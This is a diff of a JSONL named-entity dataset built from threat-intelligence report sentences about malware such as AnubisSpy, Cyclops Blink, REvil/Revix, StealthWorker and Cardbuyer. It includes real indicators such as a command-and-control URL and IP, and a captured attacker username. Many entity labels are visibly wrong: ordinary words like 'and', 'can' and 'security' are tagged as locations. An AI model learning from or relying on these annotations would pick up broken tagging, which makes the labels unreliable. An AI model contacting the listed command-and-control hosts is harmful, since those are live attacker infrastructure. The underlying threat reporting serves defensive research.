-{"id":5072,"text":"We observed the campaigns targeting U.S. based organizations spanning news media, IT, cryptocurrency and fintech industries.","entities":[{"id":51184,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":5073,"text":"However, other organizations and countries may have been targeted.","entities":[],"relations":[],"Comments":[]}
 {"id":5074,"text":"One of the campaigns has direct infrastructure overlap with a campaign targeting security researchers which we reported on last year.","entities":[],"relations":[],"Comments":[]}
 {"id":5075,"text":"The exploit was patched on February 14, 2022.","entities":[{"id":51185,"label":"TIME","start_offset":27,"end_offset":44}],"relations":[],"Comments":[]}
@@ -5225,7 +5172,6 @@
 {"id":5225,"text":"      Tags  Exploits & Vulnerabilities | Research | Cyber Threats | ICS OT | APT & Targeted Attacks | Compliance & Risks | IoT | Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
 {"id":5226,"text":"Android malware like ransomware exemplify how the platform can be lucrative for cybercriminals.","entities":[{"id":51259,"label":"SOFTWARE","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":5227,"text":"But there are also other threats stirring up as of late: attacks that spy on and steal data from specific targets, crossing over between desktops and mobile devices.","entities":[],"relations":[],"Comments":[]}
-{"id":5228,"text":"Take for instance several malicious apps we came across with cyberespionage capabilities, which were targeting Arabic-speaking users or Middle Eastern countries.","entities":[{"id":51260,"label":"location","start_offset":136,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":5229,"text":"These were published on Google Play — but have since been taken down — and third-party app marketplaces.","entities":[{"id":51261,"label":"SOFTWARE","start_offset":24,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":5230,"text":"We named these malicious apps AnubisSpy (ANDROIDOS_ANUBISSPY) as all the malware’s payload is a package called watchdog.","entities":[{"id":51263,"label":"malware","start_offset":111,"end_offset":119},{"id":51262,"label":"malware","start_offset":41,"end_offset":60},{"id":16073,"label":"malware","start_offset":30,"end_offset":39}],"relations":[{"id":1072,"from_id":51262,"to_id":16073,"type":"duplicate-of"}],"Comments":[]}
 {"id":5231,"text":"We construe AnubisSpy to be linked to the cyberespionage campaign Sphinx (APT-C-15) based on shared file structures and command-and-control (C&C) server as well as targets.","entities":[{"id":51265,"label":"campaign","start_offset":65,"end_offset":83},{"id":51264,"label":"malware","start_offset":12,"end_offset":21}],"relations":[],"Comments":[]}
@@ -5247,7 +5193,6 @@
 {"id":5247,"text":"Sphinx was active between June 2014 and November 2015, but timestamps of the malware indicate the attacks started as early as 2011.","entities":[{"id":51283,"label":"TIME","start_offset":26,"end_offset":35},{"id":51285,"label":"TIME","start_offset":126,"end_offset":130},{"id":51282,"label":"campaign","start_offset":0,"end_offset":6},{"id":51284,"label":"TIME","start_offset":40,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":5248,"text":"A simple WHOIS query of AnubisSpy’s C&C server showed it abused a legitimate managed hosting service provider in Belize.","entities":[{"id":51286,"label":"location","start_offset":113,"end_offset":119},{"id":16127,"label":"malware","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]}
 {"id":5249,"text":"We correlated the AnubisSpy variants to Sphinx’s desktop\/PC-targeting malware through the following:  Shared C&C server, 86[.]105[.]18[.]107 Shared technique of decrypting JSON files, and similarity between the file structures of AnubisSpy and Sphinx’s malware Similar targets (highly concentrated in Middle Eastern countries)     Figure 2: Comparison of file structure in Sphinx’s desktop\/PC-targeting malware (left) and AnubisSpy (right)","entities":[{"id":51288,"label":"malware","start_offset":18,"end_offset":27},{"id":51287,"label":"location","start_offset":301,"end_offset":315},{"id":16131,"label":"IPV4","start_offset":121,"end_offset":140},{"id":16134,"label":"malware","start_offset":230,"end_offset":239},{"id":16130,"label":"campaign","start_offset":40,"end_offset":46},{"id":16142,"label":"malware","start_offset":422,"end_offset":431},{"id":16140,"label":"campaign","start_offset":373,"end_offset":379},{"id":16136,"label":"campaign","start_offset":244,"end_offset":250}],"relations":[{"id":1074,"from_id":16130,"to_id":51288,"type":"uses"},{"id":1075,"from_id":16131,"to_id":16130,"type":"indicates"},{"id":1076,"from_id":16136,"to_id":51287,"type":"targets"},{"id":1077,"from_id":16134,"to_id":51287,"type":"targets"}],"Comments":[]}
-{"id":5250,"text":"These apps were all written in Arabic and, in one way or another, related to something in Egypt (i.e., spoofing an Egypt-based TV program and using news\/stories in the Middle East) regardless of the labels and objects in the apps.","entities":[{"id":51289,"label":"location","start_offset":90,"end_offset":95},{"id":51290,"label":"location","start_offset":168,"end_offset":179}],"relations":[],"Comments":[]}
 {"id":5251,"text":"Our coordination with Google also revealed that these apps were installed across a handful of countries in the Middle East.","entities":[{"id":51291,"label":"identity","start_offset":22,"end_offset":28},{"id":51292,"label":"location","start_offset":111,"end_offset":122}],"relations":[],"Comments":[]}
 {"id":5252,"text":" Was AnubisSpy actively distributed?","entities":[{"id":51293,"label":"malware","start_offset":5,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":5253,"text":"We analyzed seven apps that were actually AnubisSpy.","entities":[{"id":51294,"label":"malware","start_offset":42,"end_offset":51}],"relations":[],"Comments":[]}
@@ -5391,9 +5336,7 @@
 {"id":5391,"text":"We have observed that some of the WatchGuard and Asus bots were never cleaned up because these routers still try to connect periodically to old C&Cs that were secured or taken offline.","entities":[],"relations":[],"Comments":[]}
 {"id":5392,"text":"       Figure 12.","entities":[],"relations":[],"Comments":[]}
 {"id":5393,"text":"The timeline of several SSL certificates that were issued for Cyclops Blink C&Cs      Our investigation shows that there are more than 200 Cyclops Blink victims around the world.","entities":[{"id":51386,"label":"malware","start_offset":139,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":5394,"text":"Typical countries of infected WatchGuard devices and Asus routers are the United States, India, Italy, Canada, and a long list of other countries, including Russia.","entities":[{"id":51387,"label":"location","start_offset":74,"end_offset":87},{"id":51388,"label":"location","start_offset":89,"end_offset":94},{"id":51390,"label":"location","start_offset":103,"end_offset":109},{"id":51391,"label":"location","start_offset":157,"end_offset":163},{"id":51389,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":5395,"text":"It should be noted that these victims do not appear to be evidently valuable targets for either economic, military, or political espionage.","entities":[],"relations":[],"Comments":[]}
-{"id":5396,"text":"For example, some of the live C&Cs are hosted on WatchGuard devices used by a law firm in Europe, a medium-sized company producing medical equipment for dentists in Southern Europe and a plumber in the United States.","entities":[{"id":51392,"label":"location","start_offset":165,"end_offset":180},{"id":51393,"label":"location","start_offset":202,"end_offset":215},{"id":51394,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":5397,"text":"This is in line with the increasing number of brute-force attacks performed by other APT groups such as Pawn Storm, a group that has compromised numerous assets like email addresses and email servers of targets that are typically not aligned with Pawn Storm’s objectives.","entities":[{"id":51395,"label":"threat-actor","start_offset":104,"end_offset":114},{"id":51396,"label":"threat-actor","start_offset":247,"end_offset":257}],"relations":[],"Comments":[]}
 {"id":5398,"text":"Just like Pawn Storm, Sandworm is fishing with a wide net or looking to compromise assets on a larger scale.","entities":[{"id":51397,"label":"threat-actor","start_offset":10,"end_offset":20},{"id":51398,"label":"threat-actor","start_offset":22,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":5399,"text":"      Figure 13.","entities":[],"relations":[],"Comments":[]}
@@ -5441,14 +5384,12 @@
 {"id":5441,"text":"    Tags  APT & Targeted Attacks | IoT | Research | Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
 {"id":5442,"text":"The Brazilian Central Bank recently announced that 2017 was the first year in which people did more banking using mobile devices than on PCs.","entities":[{"id":51441,"label":"identity","start_offset":4,"end_offset":26},{"id":51442,"label":"TIME","start_offset":51,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":5443,"text":"There were 24.5 billion mobile banking transactions while there were 20.6 billion PC-based transactions.","entities":[],"relations":[],"Comments":[]}
-{"id":5444,"text":" Not all countries are embracing mobile banking as quickly as Brazil.","entities":[{"id":51443,"label":"location","start_offset":62,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":5445,"text":"But, mobile banking use is picking up around the globe.","entities":[],"relations":[],"Comments":[]}
 {"id":5446,"text":" What is it?","entities":[],"relations":[],"Comments":[]}
 {"id":5447,"text":" As more people move to mobile banking, we believe attackers will focus their attacks away from PC banking and towards mobile banking.","entities":[],"relations":[],"Comments":[]}
 {"id":5448,"text":"This means the risks of losing control of your accounts through mobile online banking are likely to increase.","entities":[],"relations":[],"Comments":[]}
 {"id":5449,"text":"And that means the money in your accounts is at risk.","entities":[],"relations":[],"Comments":[]}
 {"id":5450,"text":" Why should I care, what can it do to me?  Attackers are predictable: they follow people and money.","entities":[],"relations":[],"Comments":[]}
-{"id":5451,"text":"Brazil was one of the first countries to widely embrace Internet banking and to see attackers go after Internet banking.","entities":[{"id":51444,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
 {"id":5452,"text":" What can I do about it?","entities":[],"relations":[],"Comments":[]}
 {"id":5453,"text":" It’s time to take precautions and start good mobile banking security habits.","entities":[],"relations":[],"Comments":[]}
 {"id":5454,"text":"About  Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.","entities":[],"relations":[],"Comments":[]}
@@ -5457,7 +5398,6 @@
 {"id":5457,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
 {"id":5458,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
 {"id":5459,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":5460,"text":"In today’s online chat and dating scene, romance scams are not uncommon, what with catfishers and West African cybercriminals potently toying with their victims’ emotions to cash in on their bank accounts.","entities":[{"id":51447,"label":"location","start_offset":98,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":5461,"text":"It’s quite odd (and probably underreported), however, to see it used as a vector for cyberespionage.","entities":[],"relations":[],"Comments":[]}
 {"id":5462,"text":"We stumbled upon the Confucius hacking group while delving into Patchwork’s cyberespionage operations, and found a number of similarities.","entities":[{"id":51448,"label":"threat-actor","start_offset":64,"end_offset":73},{"id":51449,"label":"threat-actor","start_offset":21,"end_offset":30}],"relations":[{"id":1096,"from_id":51449,"to_id":51448,"type":"related-to"}],"Comments":[]}
 {"id":5463,"text":"Code in their custom malware bore similarities, for instance.","entities":[],"relations":[],"Comments":[]}
@@ -5556,545 +5496,225 @@
 {"id":5556,"text":" However, the most effective way to stay safe is to use Trend Micro Security.","entities":[],"relations":[],"Comments":[]}
 {"id":5557,"text":"       How Trend Micro can help Trend Micro Security features two key mechanisms to help stop Magecart attacks:","entities":[{"id":51773,"label":"malware","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":5558,"text":"    It can detect whether the website you want to visit has been injected with skimming code, and block you from visiting the URL (via web reputation), as well as from going to malicious domains the skimming code has access to.","entities":[],"relations":[],"Comments":[]}
-{"id":5559,"text":" It uses a combination of techniques (via its Advanced Threat Scanning Engine and TrendX-File machine learning) to detect whether the malicious JavaScript code has landed on your local drive and is ready to run in your browser – and then blocks it.","entities":[{"id":17108,"label":"location","start_offset":78,"end_offset":81},{"id":17109,"label":"location","start_offset":191,"end_offset":194},{"id":17110,"label":"location","start_offset":229,"end_offset":232}],"relations":[],"Comments":[]}
-{"id":5560,"text":"This can spot both Magecart and similar digital skimming code.","entities":[{"id":17111,"label":"location","start_offset":5,"end_offset":8},{"id":17113,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":5561,"text":"       Read our Security Intelligence Blog for more technical details on Magecart.","entities":[{"id":17114,"label":"location","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":5562,"text":"Then go to our Security Products Overview to get Trend Micro Security.","entities":[{"id":17116,"label":"location","start_offset":15,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":5563,"text":"\"     Tags  Cloud | APT & Targeted Attacks |","entities":[{"id":17118,"label":"location","start_offset":12,"end_offset":17},{"id":17119,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
 {"id":5564,"text":"Cyber Crime | Expert Perspective | Cyber Threats","entities":[],"relations":[],"Comments":[]}
-{"id":5565,"text":"Threats to the internet of things (IoT) continue to evolve as users and businesses grow increasingly reliant on these tools for constant connectivity, access to information and data, and workflow continuity.","entities":[{"id":17120,"label":"location","start_offset":68,"end_offset":71},{"id":17121,"label":"location","start_offset":173,"end_offset":176},{"id":17122,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":5566,"text":"Cybercriminals have taken notice of this dependence and now regularly update their known tools and routines to include network-attached storage (NAS) devices to their list of targets, knowing full well that users rely on these devices for storing and backing up files in both modern homes and businesses.","entities":[{"id":17123,"label":"location","start_offset":52,"end_offset":55},{"id":17124,"label":"location","start_offset":95,"end_offset":98},{"id":17125,"label":"location","start_offset":167,"end_offset":171},{"id":17126,"label":"location","start_offset":247,"end_offset":250},{"id":17127,"label":"location","start_offset":283,"end_offset":288},{"id":17128,"label":"location","start_offset":289,"end_offset":292}],"relations":[],"Comments":[]}
-{"id":5567,"text":"More importantly, cybercriminals are aware that these tools hold valuable information and have only minimal security measures.","entities":[{"id":17129,"label":"location","start_offset":33,"end_offset":36},{"id":17130,"label":"location","start_offset":86,"end_offset":89},{"id":17131,"label":"location","start_offset":95,"end_offset":99},{"id":17132,"label":"location","start_offset":108,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":5568,"text":"In our latest research paper, “Backing Your Backup: Defending NAS Devices Against Evolving Threats,” we studied the current infrastructure, environment, threats, and recommendations for defending systems against current threats targeting NAS devices.","entities":[{"id":17134,"label":"location","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]}
-{"id":5569,"text":"To emphasize the importance of mitigating the risks of malware infection and targeted attacks on NAS devices, we analyzed the technical details of two malware families that potentially included NAS devices in their existing business models, the REvil ransomware and StealthWorker botnets.","entities":[{"id":17135,"label":"location","start_offset":73,"end_offset":76},{"id":17138,"label":"location","start_offset":262,"end_offset":265}],"relations":[],"Comments":[]}
 {"id":5570,"text":"REvil","entities":[{"id":17139,"label":"threat-actor","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
 {"id":5571,"text":"While the disappearance of REvil (aka Sodinokibi) in mid-2021 is filled with uncertainty, security researchers have found a Linux version of the REvil ransomware that they have dubbed as Revix.","entities":[{"id":17140,"label":"threat-actor","start_offset":27,"end_offset":32},{"id":17141,"label":"threat-actor","start_offset":38,"end_offset":48},{"id":17143,"label":"location","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":5572,"text":"After analyzing the samples, we found four different versions of the malware, all of which rely on an embedded JavaScript Observed Notation (JSON)-based configuration to set parameters before encrypting files.","entities":[],"relations":[],"Comments":[]}
 {"id":5573,"text":"      Figure 1. Revix’s JSON-based configuration      ","entities":[],"relations":[],"Comments":[]}
-{"id":5574,"text":"While some parameters are ignored by the ransomware, these are most important ones that we observed:  pk: A 64-byte key nbody: The ransomware note text-encoded in base64 nname: The ransomware note name ext: The extension added to encrypted files  After compromising the system, the malicious actors execute it manually on a NAS device to encrypt files and create a ransom note with a unique key per victim.","entities":[{"id":17148,"label":"location","start_offset":22,"end_offset":25},{"id":17149,"label":"location","start_offset":59,"end_offset":62},{"id":17150,"label":"location","start_offset":63,"end_offset":67},{"id":17152,"label":"location","start_offset":211,"end_offset":220},{"id":17153,"label":"location","start_offset":352,"end_offset":355},{"id":17154,"label":"location","start_offset":365,"end_offset":371}],"relations":[],"Comments":[]}
 {"id":5575,"text":"      Figure 2. Revix encrypting a QNAP NAS device      Figure 3.","entities":[],"relations":[],"Comments":[]}
 {"id":5576,"text":"Revix","entities":[],"relations":[],"Comments":[]}
-{"id":5577,"text":"ransom note","entities":[{"id":17157,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":5578,"text":"     While the differences between the versions are minor, the group advertised the capability of encrypting NAS devices as early as May 2021 in underground forums.","entities":[{"id":17158,"label":"location","start_offset":27,"end_offset":34},{"id":17159,"label":"location","start_offset":48,"end_offset":51},{"id":17160,"label":"location","start_offset":52,"end_offset":57},{"id":17161,"label":"location","start_offset":124,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":5579,"text":"Given the vulnerability of NAS devices that are directly connected to the internet, we can expect a new wave of ransomware attacks affecting these gadgets in the future.","entities":[{"id":17163,"label":"location","start_offset":0,"end_offset":5},{"id":17164,"label":"location","start_offset":44,"end_offset":47},{"id":17165,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":5580,"text":"StealthWorker","entities":[],"relations":[],"Comments":[]}
-{"id":5581,"text":"In 2021, security researchers found brute-force attacks launched from the StealthWorker botnet on Synology NAS devices.","entities":[{"id":17168,"label":"location","start_offset":9,"end_offset":17},{"id":17169,"label":"location","start_offset":42,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":5582,"text":"We found multiple samples for this botnet and confirmed that newer versions are capable of brute-forcing and compromising servers running on several products and systems such as WooCommerce and WordPress.","entities":[{"id":17172,"label":"location","start_offset":42,"end_offset":45},{"id":17173,"label":"location","start_offset":76,"end_offset":79},{"id":17174,"label":"location","start_offset":105,"end_offset":108},{"id":17175,"label":"location","start_offset":158,"end_offset":161},{"id":17177,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]}
-{"id":5583,"text":"This botnet is also designed to generally attack any web server using HTTP authentication and other NAS devices like QNAP.","entities":[{"id":17178,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":5584,"text":"Valid credentials found during compromise are then uploaded to the command-and-control (C&C) server, usually at port 5028\/TCP.      Figure 4.","entities":[{"id":17179,"label":"location","start_offset":42,"end_offset":45},{"id":17180,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":5585,"text":"StealthWorker","entities":[],"relations":[],"Comments":[]}
-{"id":5586,"text":"brute-force function targeting QNAP devices","entities":[{"id":17183,"label":"location","start_offset":6,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":5587,"text":"     Figure 5. Infected Linux device connected to a C&C server     ","entities":[],"relations":[],"Comments":[]}
 {"id":5588,"text":"How to protect NAS devices","entities":[],"relations":[],"Comments":[]}
-{"id":5589,"text":"Without proper security implemented in NAS devices, users and businesses will continue to be targeted since these tools can be used as entry points for information theft, malware infection, and the disruption of operations, among others.","entities":[{"id":17185,"label":"location","start_offset":15,"end_offset":23},{"id":17186,"label":"location","start_offset":58,"end_offset":61},{"id":17187,"label":"location","start_offset":73,"end_offset":77},{"id":17188,"label":"location","start_offset":120,"end_offset":123},{"id":17189,"label":"location","start_offset":141,"end_offset":147},{"id":17190,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]}
 {"id":5590,"text":"Here are some best practices to protect your systems against threats that leverage the gaps in your NAS devices:  ","entities":[{"id":17191,"label":"location","start_offset":5,"end_offset":8},{"id":17192,"label":"location","start_offset":14,"end_offset":18},{"id":17193,"label":"malware","start_offset":74,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":5591,"text":"Avoid connecting a NAS device directly to the internet.","entities":[],"relations":[],"Comments":[]}
 {"id":5592,"text":"Regularly change the credentials for accessing an NAS device.","entities":[],"relations":[],"Comments":[]}
-{"id":5593,"text":"Never use the preset default credentials that come with the device as these are well-known to malicious actors.","entities":[{"id":17194,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":5594,"text":"Enable two-factor authentication (2FA) for additional security.","entities":[{"id":17196,"label":"location","start_offset":54,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":5595,"text":"Uninstall applications, software, and services that are no longer in use as these can be abused as entry points.","entities":[{"id":17197,"label":"location","start_offset":34,"end_offset":37},{"id":17198,"label":"location","start_offset":52,"end_offset":55},{"id":17199,"label":"location","start_offset":82,"end_offset":85},{"id":17200,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":5596,"text":"Regularly check NAS manufacturers’ online security guides, such as Synology’s recommended best practices and QNAP’s recently released suggestions on how to help defend their devices against additional exposure on the internet.","entities":[{"id":17201,"label":"location","start_offset":10,"end_offset":15},{"id":17202,"label":"location","start_offset":42,"end_offset":50},{"id":17204,"label":"location","start_offset":90,"end_offset":94},{"id":17205,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":5597,"text":" To find more technical details, threats, insights, and recommendations in protecting your NAS device, download our research “Backing Your Backup: Defending NAS Devices Against Evolving Threats.”      Tags  Malware | Cyber Crime | Exploits & Vulnerabilities | Research | Smart Home | Cyber Threats | APT & Targeted Attacks | Endpoints | IoT | Ransomware | Articles, News, Reports","entities":[{"id":17207,"label":"location","start_offset":52,"end_offset":55},{"id":17209,"label":"location","start_offset":277,"end_offset":281},{"id":17210,"label":"location","start_offset":300,"end_offset":303}],"relations":[],"Comments":[]}
 {"id":5598,"text":"On April 21st our WildFire analysis cloud detected a new Android Trojan, which is currently completely undetected in VirusTotal and uses a new combination of tactics to make money for the author.","entities":[{"id":17212,"label":"tools","start_offset":18,"end_offset":26},{"id":17213,"label":"location","start_offset":36,"end_offset":41},{"id":17215,"label":"location","start_offset":128,"end_offset":131},{"id":17216,"label":"location","start_offset":174,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":5599,"text":"Based on the state of the code and the limited distribution we believe we may have detected this malware during a testing phase, before the attacker released it into the wild through an app store or other means.","entities":[{"id":17217,"label":"location","start_offset":31,"end_offset":34},{"id":17218,"label":"location","start_offset":74,"end_offset":77},{"id":17219,"label":"location","start_offset":205,"end_offset":210}],"relations":[],"Comments":[]}
-{"id":5600,"text":"We’ve named the Trojan Cardbuyer because of the way it converts an infection into cash for the author.","entities":[{"id":17221,"label":"location","start_offset":48,"end_offset":51},{"id":17222,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":5601,"text":" Cardbuyer is much “smarter” compared to the existing Android malware families that we have ever seen.","entities":[{"id":17224,"label":"location","start_offset":14,"end_offset":18},{"id":17225,"label":"location","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":5602,"text":"Specifically, this malware sample can solve CAPTCHA challenges, emulate user’s behaviors, parse SMS’s content from different vendors, and then automatically reply the confirmation message accordingly.","entities":[{"id":17226,"label":"location","start_offset":27,"end_offset":33},{"id":17227,"label":"location","start_offset":34,"end_offset":37},{"id":17228,"label":"location","start_offset":102,"end_offset":109},{"id":17229,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":5603,"text":"Code analysis shows that this malware sample can defeat the existing multi-factor verification procedures of many popular game platforms or online payment systems, and impersonate the smartphone user in making the purchase.","entities":[{"id":17230,"label":"tools","start_offset":0,"end_offset":13},{"id":17231,"label":"location","start_offset":38,"end_offset":44},{"id":17232,"label":"location","start_offset":45,"end_offset":48},{"id":17233,"label":"location","start_offset":109,"end_offset":113},{"id":17234,"label":"location","start_offset":164,"end_offset":167},{"id":17235,"label":"location","start_offset":214,"end_offset":222}],"relations":[],"Comments":[]}
-{"id":5604,"text":" While some Android Trojans send premium SMS messages or steal banking credentials, Cardbuyer specifically targets Chinese video games and mobile platforms by purchasing pre-paid and top-up cards.","entities":[{"id":17236,"label":"location","start_offset":33,"end_offset":40},{"id":17239,"label":"location","start_offset":135,"end_offset":138},{"id":17240,"label":"location","start_offset":139,"end_offset":145},{"id":17241,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":5605,"text":"The attacker can then convert these cards into cash, while the victim’s mobile account is charged for the purchase.","entities":[{"id":17242,"label":"location","start_offset":13,"end_offset":16},{"id":17243,"label":"location","start_offset":47,"end_offset":51},{"id":17244,"label":"location","start_offset":72,"end_offset":78},{"id":17245,"label":"location","start_offset":106,"end_offset":114}],"relations":[],"Comments":[]}
-{"id":5606,"text":"It proves again that the SMS channel is insecure for user authentication in online purchase confirmation.","entities":[{"id":17246,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":5607,"text":" Cardbuyer’s code allows it to target any of the following services and evade their SMS-based authentication mechanisms:","entities":[{"id":17248,"label":"location","start_offset":31,"end_offset":37},{"id":17249,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":5608,"text":" The vulnerability that Cardbuyer exploits is that many services in China rely on sending and receiving SMS messages to authorize mobile purchases.","entities":[{"id":17251,"label":"location","start_offset":51,"end_offset":55},{"id":17253,"label":"location","start_offset":90,"end_offset":93},{"id":17254,"label":"location","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":5609,"text":"This assumes that the mobile phone making the purchase is not only in the possession of the owner, but also that malware is not intercepting their messages.","entities":[{"id":17255,"label":"location","start_offset":22,"end_offset":28},{"id":17256,"label":"location","start_offset":46,"end_offset":54},{"id":17257,"label":"location","start_offset":62,"end_offset":66},{"id":17258,"label":"location","start_offset":74,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":5610,"text":"The service providers have recognized that this is a problem and placed multiple hurdles along the way, but Cardbuyer jumps over each of them.","entities":[{"id":17259,"label":"location","start_offset":61,"end_offset":64},{"id":17260,"label":"location","start_offset":89,"end_offset":94},{"id":17261,"label":"location","start_offset":99,"end_offset":102},{"id":17263,"label":"location","start_offset":137,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":5611,"text":"Cardbuyer in Action  ","entities":[{"id":17264,"label":"location","start_offset":13,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":5612,"text":"The sample of Cardbuyer we detected this week is disguised as “sexy” video application.","entities":[{"id":17265,"label":"location","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":5613,"text":"The name is看片神器 which translates to “a super tool for watching videos” and the icon is a provocative photo.","entities":[{"id":17268,"label":"location","start_offset":45,"end_offset":49},{"id":17269,"label":"location","start_offset":71,"end_offset":74},{"id":17270,"label":"tools","start_offset":101,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":5614,"text":"The Trojan was detected by WildFire when a user at a university in China downloaded an Android APK file from fdown.u.qiniudn.com, a Chinese cloud-based file storage service.","entities":[{"id":17272,"label":"location","start_offset":53,"end_offset":63},{"id":17276,"label":"location","start_offset":140,"end_offset":145}],"relations":[],"Comments":[]}
-{"id":5615,"text":"After installation, Cardbuyer will be launched automatically by system events and run stealthily in the background.","entities":[{"id":17278,"label":"location","start_offset":30,"end_offset":34},{"id":17279,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":5616,"text":"Once launched, it contacts a command and control server hosted in China using an HTTP GET request to the following website to register the infection with the attacker: http:\/\/14.17.95.205:21910\/my\/service.php.","entities":[{"id":17280,"label":"location","start_offset":37,"end_offset":40},{"id":17282,"label":"location","start_offset":126,"end_offset":134},{"id":17283,"label":"URL","start_offset":168,"end_offset":208}],"relations":[],"Comments":[]}
-{"id":5617,"text":" Next, Cardbuyer begins to methodically jump each of the hurdles put in place by tianxiafu.cn, a third party gateway for purchasing game cards for Perfect World, one of the biggest digital game vendors in China.","entities":[{"id":17287,"label":"location","start_offset":109,"end_offset":116},{"id":17289,"label":"location","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]}
-{"id":5618,"text":"The first hurdle to pass is a CAPTCHA, which is intended to prevent machines from ever attempting to log into the tianxiafu.cn website.","entities":[{"id":17292,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":5619,"text":"It asks users to look at some slightly skewed numbers (see below) and type them into a box.","entities":[{"id":17294,"label":"location","start_offset":66,"end_offset":69},{"id":17295,"label":"location","start_offset":70,"end_offset":74},{"id":17296,"label":"location","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":5620,"text":"To add context for the following webpage (Figure 1), written in Chinese: the user is asked to recognize the CAPTCHA image and reply the recognized verification code back to the vendor in order to continue the purchase procedure.","entities":[{"id":17299,"label":"location","start_offset":122,"end_offset":125},{"id":17300,"label":"location","start_offset":177,"end_offset":183},{"id":17301,"label":"location","start_offset":209,"end_offset":217}],"relations":[],"Comments":[]}
 {"id":5621,"text":" Figure 1.","entities":[],"relations":[],"Comments":[]}
-{"id":5622,"text":"The payment page of tianxiafu.cn  Cardbuyer evades this CAPTCHA by downloading the CAPTCHA image (Figure 2) and recognizing the image using a Chinese cloud based CAPTCHA solving service named UUDama.","entities":[{"id":17303,"label":"location","start_offset":12,"end_offset":16},{"id":17307,"label":"location","start_offset":108,"end_offset":111},{"id":17309,"label":"location","start_offset":150,"end_offset":155}],"relations":[],"Comments":[]}
 {"id":5623,"text":"UUDama uses a combination of machines and humans to quickly take CAPTCHA images submitted by Cardbuyer (or anyone else who will pay) and turn them into the expected text within 60 seconds.","entities":[{"id":17310,"label":"location","start_offset":38,"end_offset":41},{"id":17312,"label":"location","start_offset":123,"end_offset":127},{"id":17313,"label":"location","start_offset":133,"end_offset":136},{"id":17314,"label":"location","start_offset":142,"end_offset":146},{"id":17315,"label":"TIME","start_offset":177,"end_offset":187}],"relations":[],"Comments":[]}
-{"id":5624,"text":"We are even able to capture the username “liweixw” and its password for malware to login into the UUDAMA website, (Figure 3).  Figure 2.","entities":[{"id":17316,"label":"location","start_offset":3,"end_offset":6},{"id":17317,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":5625,"text":"Cardbuyer retrieve the CAPTCHA image from webpage and get recognition result from UUDama  Figure 3.","entities":[{"id":17321,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":5626,"text":"Cardbuyer will login into UUDAMA website with attacker’s account  ","entities":[{"id":17325,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
